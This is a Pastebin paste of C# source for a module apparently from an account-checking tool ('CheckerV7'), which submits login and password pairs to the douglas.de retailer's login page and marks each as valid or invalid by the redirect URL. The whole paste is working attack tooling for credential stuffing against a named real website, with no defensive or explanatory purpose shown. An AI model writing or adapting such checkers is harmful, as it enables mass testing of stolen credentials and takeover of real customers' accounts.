Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- using System;
- using System.Net;
- namespace CheckerV7.Accounts
- {
- class Douglas
- {
- public static rType.ResultType CheckLogin(string Login, string Password, int Timeout)
- {
- Core.HTTP http = new Core.HTTP(true);
- http.Timeout = Timeout;
- string hosturl = "https://www.douglas.de/douglas/login.html";
- rType.ResultType result = rType.ResultType.Timeout;
- try
- {
- string source = http.GetResponse(hosturl, 0);
- if (source == "timeout")
- {
- return rType.ResultType.Timeout;
- }
- string slogin = WebUtility.UrlEncode(Login);
- string spass = WebUtility.UrlEncode(Password);
- string postdata = string.Format("j_username={0}&j_password={1}&dataPrivacyChecked=true&privacyNeededForValidation=true&login=Einloggen",
- slogin, spass);
- source = http.GetResponse("https://www.douglas.de/douglas/loginProcess.html", postdata);
- if (source == "timeout")
- {
- return rType.ResultType.Timeout;
- }
- string responseurl = http.Response.ResponseUri.ToString();
- if (responseurl == "https://www.douglas.de/douglas/")
- {
- result = rType.ResultType.Valid;
- }
- else
- {
- result = rType.ResultType.Invalid;
- }
- }
- catch (Exception ex)
- {
- result = rType.ResultType.Error;
- }
- return result;
- }
- }
- }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement